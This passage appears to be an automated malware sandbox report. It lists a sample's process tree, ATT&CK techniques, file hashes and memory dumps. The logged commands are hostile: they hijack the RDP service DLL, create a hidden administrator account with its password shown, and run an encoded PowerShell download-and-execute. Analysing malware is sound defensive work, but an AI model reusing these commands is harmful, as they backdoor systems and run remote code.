      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1CB2.tmp" "c:\Users\Admin\AppData\Local\Temp\1imxykld\CSC4ECC05B4ABEB4F6AB53870B01ABFFC.TMP"
      4⤵
      PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:3868
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2372
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:608
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1404
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2016
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3564
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1860
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:944
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2476
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2828

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2144

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc bPFBhMOS /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc bPFBhMOS /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:60
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc bPFBhMOS /add
    3⤵
    PID:1436

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1504
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EZNBLWLT$ /ADD
1⤵
PID:3540
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" EZNBLWLT$ /ADD
  2⤵
  PID:4048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EZNBLWLT$ /ADD
    3⤵
    PID:3368

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2976
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:4064

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc bPFBhMOS
1⤵
PID:3276
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc bPFBhMOS
  2⤵
  PID:3752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc bPFBhMOS
    3⤵
    PID:1412

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2208
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2672

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3136
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:996

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3764
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:2148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1imxykld\1imxykld.dll

MD5
99e36c3d2eae96cd2546e2664f561b4c

SHA1
14497c5d54a7da447efeb5bc1c1dedb2d3a7ac06

SHA256
780c9b71565cb7c424ebb754a1b420232271745591cf23e041e939832d7047a9

SHA512
ab768a34724f1f31dfb62733f000677c2e6686b0b074aca8559323d1596769ff7886b288035902a0fcbb261c3ba19e71a5299e34681a3d932460a2011f15e4e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\3A41.exe

MD5
77ce7ab11225c5e723b7b1be0308e8c0

SHA1
709a8df1d49f28cf8c293694bbbbd0f07735829b

SHA256
d407b5c7d9568448f1e7387924fe4dded9e016632879c386c307ef5dcf63f496

SHA512
f73582206397db625bdefbbaf8abdc1a820ae8054eb2ef2a3ed18c8e00e8365c7ad81013b33990e4304619b3834a1b8b15c782905204add158fca686e2c25c3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\3A41.exe

MD5
77ce7ab11225c5e723b7b1be0308e8c0

SHA1
709a8df1d49f28cf8c293694bbbbd0f07735829b

SHA256
d407b5c7d9568448f1e7387924fe4dded9e016632879c386c307ef5dcf63f496

SHA512
f73582206397db625bdefbbaf8abdc1a820ae8054eb2ef2a3ed18c8e00e8365c7ad81013b33990e4304619b3834a1b8b15c782905204add158fca686e2c25c3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\50A8.exe

MD5
3ba1d635fed88d8af279be91b7007bae

SHA1
62a1d59c746cdb51e699114f410749384a70cf73

SHA256
3151b115c3370d5360286bfe3a053d0d543f0e5d21faa68fee167224e68d115a

SHA512
83254fb484bd40740e5e0483dcc7fd8ce612033b00238494fdcdc5a5dcb3503195e0e2694edd5d848c07e2ddc61cafdb7d331afc4792ccd788837ebbce18bfeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\50A8.exe

MD5
3ba1d635fed88d8af279be91b7007bae

SHA1
62a1d59c746cdb51e699114f410749384a70cf73

SHA256
3151b115c3370d5360286bfe3a053d0d543f0e5d21faa68fee167224e68d115a

SHA512
83254fb484bd40740e5e0483dcc7fd8ce612033b00238494fdcdc5a5dcb3503195e0e2694edd5d848c07e2ddc61cafdb7d331afc4792ccd788837ebbce18bfeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7C9B.exe

MD5
f80418f12c03a56ac2e8d8b189c13750

SHA1
cd0b728375e4e178b50bca8ad65ce79aede30d37

SHA256
cbc5d7db8e27b2369a1d83c2d8615c1dbb6263e8b80c4b12a86493c9df093716

SHA512
e3fb85cc08a94193528ecc760b58904df47aa302419267c5b3386468e1d7fdece63fee05d8d95a083637b70a24035d3123c94463111ba372b39fcc69787aa196

Download Submit
C:\Users\Admin\AppData\Local\Temp\7C9B.exe

MD5
f80418f12c03a56ac2e8d8b189c13750

SHA1
cd0b728375e4e178b50bca8ad65ce79aede30d37

SHA256
cbc5d7db8e27b2369a1d83c2d8615c1dbb6263e8b80c4b12a86493c9df093716

SHA512
e3fb85cc08a94193528ecc760b58904df47aa302419267c5b3386468e1d7fdece63fee05d8d95a083637b70a24035d3123c94463111ba372b39fcc69787aa196

Download Submit
C:\Users\Admin\AppData\Local\Temp\AD61.exe

MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\AD61.exe

MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\AD61.exe

MD5
fd4e0205ce36f99ff343a78ec3e251bc

SHA1
b633df31339acb69f708a41fd227298420fd4036

SHA256
617f9d822418a44cac50b28755f2d075fac1c2de21995820912f07f4b4ee8075

SHA512
f413a054603bc0bc86d1657e3960c4b691e7900be36e9470a408264cb63ad0eb9d7cea7b83dbfdf7f727ea5c359d7d6ab5b565ab60976735d67f00c5a082f50e

Download Submit
C:\Users\Admin\AppData\Local\Temp\FDC4.exe

MD5
5dec7029dda901f99d02a1cb08d6b3ab

SHA1
8561c81e8fab7889eb13ab29450bed82878e78c9

SHA256
6a61b992773f571c45f2d1087a56817dd5c1f3a90ca2965cc5c7319b33f3890b

SHA512
09e5856113a7b073568e878d1de74c834e318dd05b95afe8729a3008b4cc1efc0b1a6a9c21b25c0b1dadec3d6de5b5bc4ef84523f454591717b6f24fe5dffaca

Download Submit
C:\Users\Admin\AppData\Local\Temp\FDC4.exe

MD5
5dec7029dda901f99d02a1cb08d6b3ab

SHA1
8561c81e8fab7889eb13ab29450bed82878e78c9

SHA256
6a61b992773f571c45f2d1087a56817dd5c1f3a90ca2965cc5c7319b33f3890b

SHA512
09e5856113a7b073568e878d1de74c834e318dd05b95afe8729a3008b4cc1efc0b1a6a9c21b25c0b1dadec3d6de5b5bc4ef84523f454591717b6f24fe5dffaca

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES16B7.tmp

MD5
510d1fefa2e6910bad7624a49e9c4da0

SHA1
b4c52a710140f07a862da478f49faf23de44c3fb

SHA256
33834ee8f02df442a4cceaf4b637338013eba5ed05041a2f4bc030330d18621d

SHA512
76565430dd844a6a57082c2bb07b8d99b0b6c8675450208c94f75fefb8e158f4d2f563cf22815ef172f8c5f1c9fdb8449c73d6e4ab65d03f57b41473b7be2925

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1CB2.tmp

MD5
d1b77ba06eefceadb7bc3a4f717c8106

SHA1
784774896ea8a83e556c779f11ca0611a1bf1491

SHA256
0268a81bd78639980f399bf4da7e24258033c70cfc77b80f913683b1bb4c7319

SHA512
55793efc50211089e2fab2fed805d84ec9c63fb62e6ff0d4436e73f9d868e2d77d69b9dea31703288e55769323fe55ebe142fa70514295cb333ae6292b64849f

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
854b2dfc0a28f2959b1d2fc363a4e318

SHA1
ce1753052c5bdad56708ec75d8085b2c597df6c1

SHA256
7135370ad5c4279486173fa5d0de73ea06dd814e4f8df98f80624f6f8b8c231c

SHA512
b0204091d6f89877c808c2c1db97c3723f063eace68d54b25da674b5971d0a2f7d60549923097c36dedc8c1cb2f77dfdd1dfb4df60f16682652a6755e287bfd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\jmuuisqw\jmuuisqw.dll

MD5
aea7cbedd65753d22139cf63b37cf3e0

SHA1
e3861194c8653cae475b8ec50154d7924ca44834

SHA256
879960464b7cc2febb9d9d2ec07d8d2a65c8e502506bcc6b60521fafae092427

SHA512
b0c8ec12cd660cbc27daef0afca7effbd298734c15bc0178d24024ca5637374d76205e7d433a1549128e27082ab3bf153ff60ee831de01ad7849a6f758f5be17

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1imxykld\1imxykld.0.cs

MD5
e0f116150ceec4ea8bb954d973e3b649

SHA1
86a8e81c70f4cc265f13e8760cf8888a6996f0fd

SHA256
511ea5f70cbc2f5d875f7dd035cb5203b119e22c3b131cc551d21d151c909d54

SHA512
32f01c2658c0314709e5dedec9a6d9911d0a0d777f6856569e043f705d036ab10e996732303ecdffea912e783b79463bdc0ffaa4b8c9d7a1e06a9073cd263bec

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1imxykld\1imxykld.cmdline

MD5
c68b5629d0584609a6ac84c0188d56d5

SHA1
6c7e64562814c1ccde77fdfe9f9decdb231e6f07

SHA256
3ab5a18061af9a6261cffc5a8812beeb35a9fed40b35eca969712894c9c239f5

SHA512
03df2a98ccc033c5e8060d7be391c954959f96507fd13e438a2413370d0b8db0e6e12d6367ac52f5cb51e05bb665613dd0fd75f7a842873a2e35fa7d2c3bf3ad

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1imxykld\CSC4ECC05B4ABEB4F6AB53870B01ABFFC.TMP

MD5
6d514eeda4920a4a327bf37577626938

SHA1
1162cc75e9468bc033557a7cc132db28b47f2607

SHA256
4d25a8e200dc1f3506579bd108a274bcfaeb31e5dd99dfc82376b5b9f35c81b8

SHA512
43863c8db9148e433e124218f4a159ac7bf9dea7e0f4e79d47d71b775f228a2f87bc3d3c096a7aedfa4a72c55c04e7700da70406e962cf431c0a4b7f145d8556

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmuuisqw\CSC1E1A686DA8884EDFBF2E99DAFB24A3F7.TMP

MD5
5b616d983154b8587110fc77ae3fb57f

SHA1
81e7668da1b6a9cd5ddeb77967f75059a205dd33

SHA256
b2a628f052eb7489f52881fb745935831db5bc46c70dc01ca7b477aa3d7661d1

SHA512
e1342710d95e58446cfdd08e2dec5cb4aca41b998c4932efc0f7782866ce158fee0bcc1304f00501cce0f204bb74a3c9890831d3a816b220675abe86059c61f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmuuisqw\jmuuisqw.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jmuuisqw\jmuuisqw.cmdline

MD5
7e6ad45edf080a1134120ec1bb8aa02d

SHA1
5ccd7f21e16d581e4b6cf508d926dee450de4929

SHA256
0b68cb3ffd3f6f076eb06c701a7d11fe8e600e04a14a8046ff7353e6147692ce

SHA512
06a3a0bddd852a9a4c2000d68b5f439f9e05000e528a0a8bbf43cbfc031a7fc44d0040d78b4d6125c13d2899056b2e43ddaff67c13057b84aade363cb71317e8

Download Submit
\Windows\Branding\mediasrv.png

MD5
83bd2c45f1faf20a77579cbb8765c2b3

SHA1
fe01b295c1005f4cbc0cfcb277dac5e7c443622c

SHA256
ca7ce804ab35bf65eb6f6e1501afbd506520bbe9bd04710d5efe0e57377a9809

SHA512
e0ac8e2d79841e18fedfed993d6e0bedb169a2ca57092292ac831667dedddbca8b90619f977d449d9595adbb9efd48487940fced5eaa38ef17366ec7075da57c

Download Submit
\Windows\Branding\mediasvc.png

MD5
af4e893deae35128088534aea49a1b74

SHA1
ce25e8e738978a2106e3464a7a4bf0345e60fd31

SHA256
76dd1fb220473c4167a73d7202943fda2109da475e515f4056a03bb01318f22d

SHA512
3115d385ec08548337b28b6b4f773578e9548d418b30f1f276f6a835a203ef497f0d23a7282f2fc7aceda73099eb4c4535c17c4842b542bd1867320f07319b97

Download Submit
memory/60-449-0x0000000000000000-mapping.dmp

Download
memory/604-455-0x0000000000000000-mapping.dmp

Download
memory/608-394-0x0000000000000000-mapping.dmp

Download
memory/652-452-0x0000000000000000-mapping.dmp

Download
memory/748-217-0x0000000000000000-mapping.dmp

Download
memory/944-442-0x0000000000000000-mapping.dmp

Download
memory/996-460-0x0000000000000000-mapping.dmp

Download
memory/1004-157-0x0000000076050000-0x0000000077398000-memory.dmp

Filesize
19.3MB

Download
memory/1004-147-0x00000000759A0000-0x0000000075B62000-memory.dmp

Filesize
1.8MB

Download
memory/1004-156-0x00000000750B0000-0x0000000075634000-memory.dmp

Filesize
5.5MB

Download
memory/1004-158-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Filesize
4KB

Download
memory/1004-141-0x0000000000000000-mapping.dmp

Download
memory/1004-160-0x0000000070C70000-0x0000000070CBB000-memory.dmp

Filesize
300KB

Download
memory/1004-145-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/1004-149-0x0000000000E30000-0x0000000000E31000-memory.dmp

Filesize
4KB

Download
memory/1004-148-0x0000000074E00000-0x0000000074EF1000-memory.dmp

Filesize
964KB

Download
memory/1004-144-0x0000000000E30000-0x0000000000E9C000-memory.dmp

Filesize
432KB

Download
memory/1004-151-0x0000000072A20000-0x0000000072AA0000-memory.dmp

Filesize
512KB

Download
memory/1004-146-0x0000000000DE0000-0x0000000000E25000-memory.dmp

Filesize
276KB

Download
memory/1332-171-0x0000000002B80000-0x0000000002CCA000-memory.dmp

Filesize
1.3MB

Download
memory/1332-172-0x0000000000400000-0x0000000002B74000-memory.dmp

Filesize
39.5MB

Download
memory/1332-173-0x0000000002B80000-0x0000000002CCA000-memory.dmp

Filesize
1.3MB

Download
memory/1332-168-0x0000000000000000-mapping.dmp

Download
memory/1404-395-0x0000000000000000-mapping.dmp

Download
memory/1412-458-0x0000000000000000-mapping.dmp

Download
memory/1436-450-0x0000000000000000-mapping.dmp

Download
memory/1860-441-0x0000000000000000-mapping.dmp

Download
memory/1960-437-0x0000000000000000-mapping.dmp

Download
memory/1968-438-0x0000000000000000-mapping.dmp

Download
memory/2000-278-0x000002504B896000-0x000002504B898000-memory.dmp

Filesize
8KB

Download
memory/2000-246-0x000002504B890000-0x000002504B892000-memory.dmp

Filesize
8KB

Download
memory/2000-239-0x0000000000000000-mapping.dmp

Download
memory/2000-247-0x000002504B893000-0x000002504B895000-memory.dmp

Filesize
8KB

Download
memory/2000-297-0x000002504B898000-0x000002504B89A000-memory.dmp

Filesize
8KB

Download
memory/2016-433-0x0000000000000000-mapping.dmp

Download
memory/2144-448-0x0000000000000000-mapping.dmp

Download
memory/2148-462-0x0000000000000000-mapping.dmp

Download
memory/2148-505-0x0000020C0DA28000-0x0000020C0DA29000-memory.dmp

Filesize
4KB

Download
memory/2148-472-0x0000020C0DA20000-0x0000020C0DA22000-memory.dmp

Filesize
8KB

Download
memory/2148-473-0x0000020C0DA23000-0x0000020C0DA25000-memory.dmp

Filesize
8KB

Download
memory/2148-482-0x0000020C0DA26000-0x0000020C0DA28000-memory.dmp

Filesize
8KB

Download
memory/2172-119-0x0000000000000000-mapping.dmp

Download
memory/2172-122-0x0000000002B10000-0x0000000002B55000-memory.dmp

Filesize
276KB

Download
memory/2192-175-0x0000000002BD0000-0x0000000002BD6000-memory.dmp

Filesize
24KB

Download
memory/2192-176-0x0000000002BE0000-0x0000000002BE5000-memory.dmp

Filesize
20KB

Download
memory/2192-177-0x0000000000400000-0x0000000002B74000-memory.dmp

Filesize
39.5MB

Download
memory/2300-184-0x0000021BEB2D3000-0x0000021BEB2D5000-memory.dmp

Filesize
8KB

Download
memory/2300-178-0x0000000000000000-mapping.dmp

Download
memory/2300-186-0x0000021BEB2D6000-0x0000021BEB2D7000-memory.dmp

Filesize
4KB

Download
memory/2300-183-0x0000021BEB2D0000-0x0000021BEB2D2000-memory.dmp

Filesize
8KB

Download
memory/2300-181-0x0000021BEB5C0000-0x0000021BEB88F000-memory.dmp

Filesize
2.8MB

Download
memory/2300-185-0x0000021BEB2D5000-0x0000021BEB2D6000-memory.dmp

Filesize
4KB

Download
memory/2352-451-0x0000000000000000-mapping.dmp

Download
memory/2360-220-0x0000000000000000-mapping.dmp

Download
memory/2364-432-0x0000000000000000-mapping.dmp

Download
memory/2372-393-0x0000000000000000-mapping.dmp

Download
memory/2476-443-0x0000000000000000-mapping.dmp

Download
memory/2672-459-0x0000000000000000-mapping.dmp

Download
memory/2828-444-0x0000000000000000-mapping.dmp

Download
memory/2864-341-0x0000022D60856000-0x0000022D60858000-memory.dmp

Filesize
8KB

Download
memory/2864-342-0x0000022D60858000-0x0000022D6085A000-memory.dmp

Filesize
8KB

Download
memory/2864-298-0x0000022D60850000-0x0000022D60852000-memory.dmp

Filesize
8KB

Download
memory/2864-299-0x0000022D60853000-0x0000022D60855000-memory.dmp

Filesize
8KB

Download
memory/2864-287-0x0000000000000000-mapping.dmp

Download
memory/2984-118-0x0000000000790000-0x00000000007A6000-memory.dmp

Filesize
88KB

Download
memory/3140-130-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/3140-133-0x0000000005150000-0x0000000005151000-memory.dmp

Filesize
4KB

Download
memory/3140-129-0x0000000004F10000-0x0000000004F11000-memory.dmp

Filesize
4KB

Download
memory/3140-138-0x0000000005EE0000-0x0000000005EE1000-memory.dmp

Filesize
4KB

Download
memory/3140-128-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/3140-139-0x00000000069D0000-0x00000000069D1000-memory.dmp

Filesize
4KB

Download
memory/3140-140-0x00000000070D0000-0x00000000070D1000-memory.dmp

Filesize
4KB

Download
memory/3140-131-0x0000000004F70000-0x0000000004F71000-memory.dmp

Filesize
4KB

Download
memory/3140-132-0x0000000004EE0000-0x00000000054E6000-memory.dmp

Filesize
6.0MB

Download
memory/3140-137-0x00000000054B0000-0x00000000054B1000-memory.dmp

Filesize
4KB

Download
memory/3140-134-0x00000000052D0000-0x00000000052D1000-memory.dmp

Filesize
4KB

Download
memory/3140-135-0x00000000053F0000-0x00000000053F1000-memory.dmp

Filesize
4KB

Download
memory/3140-123-0x0000000000000000-mapping.dmp

Download
memory/3140-136-0x0000000006000000-0x0000000006001000-memory.dmp

Filesize
4KB

Download
memory/3140-126-0x0000000000710000-0x0000000000711000-memory.dmp

Filesize
4KB

Download
memory/3172-461-0x0000000000000000-mapping.dmp

Download
memory/3208-117-0x0000000000400000-0x00000000004CC000-memory.dmp

Filesize
816KB

Download
memory/3208-116-0x0000000000030000-0x0000000000039000-memory.dmp

Filesize
36KB

Download
memory/3368-454-0x0000000000000000-mapping.dmp

Download
memory/3512-207-0x0000000000000000-mapping.dmp

Download
memory/3564-439-0x0000000000000000-mapping.dmp

Download
memory/3736-211-0x0000000000000000-mapping.dmp

Download
memory/3752-457-0x0000000000000000-mapping.dmp

Download
memory/3776-440-0x0000000000000000-mapping.dmp

Download
memory/3868-343-0x0000026050F10000-0x0000026050F12000-memory.dmp

Filesize
8KB

Download
memory/3868-330-0x0000000000000000-mapping.dmp

Download
memory/3868-376-0x0000026050F16000-0x0000026050F18000-memory.dmp

Filesize
8KB

Download
memory/3868-377-0x0000026050F18000-0x0000026050F1A000-memory.dmp

Filesize
8KB

Download
memory/3868-345-0x0000026050F13000-0x0000026050F15000-memory.dmp

Filesize
8KB

Download
memory/3952-194-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-193-0x0000013CC5780000-0x0000013CC5781000-memory.dmp

Filesize
4KB

Download
memory/3952-199-0x0000013CAB793000-0x0000013CAB795000-memory.dmp

Filesize
8KB

Download
memory/3952-215-0x0000013CC57C0000-0x0000013CC57C1000-memory.dmp

Filesize
4KB

Download
memory/3952-230-0x0000013CC67D0000-0x0000013CC67D1000-memory.dmp

Filesize
4KB

Download
memory/3952-231-0x0000013CC6B60000-0x0000013CC6B61000-memory.dmp

Filesize
4KB

Download
memory/3952-198-0x0000013CAB790000-0x0000013CAB792000-memory.dmp

Filesize
8KB

Download
memory/3952-197-0x0000013CC62D0000-0x0000013CC62D1000-memory.dmp

Filesize
4KB

Download
memory/3952-196-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-195-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-210-0x0000013CAB796000-0x0000013CAB798000-memory.dmp

Filesize
8KB

Download
memory/3952-187-0x0000000000000000-mapping.dmp

Download
memory/3952-224-0x0000013CC5800000-0x0000013CC5801000-memory.dmp

Filesize
4KB

Download
memory/3952-200-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-188-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-225-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-192-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-191-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
memory/3952-226-0x0000013CAB040000-0x0000013CAB042000-memory.dmp

Filesize
8KB

Download
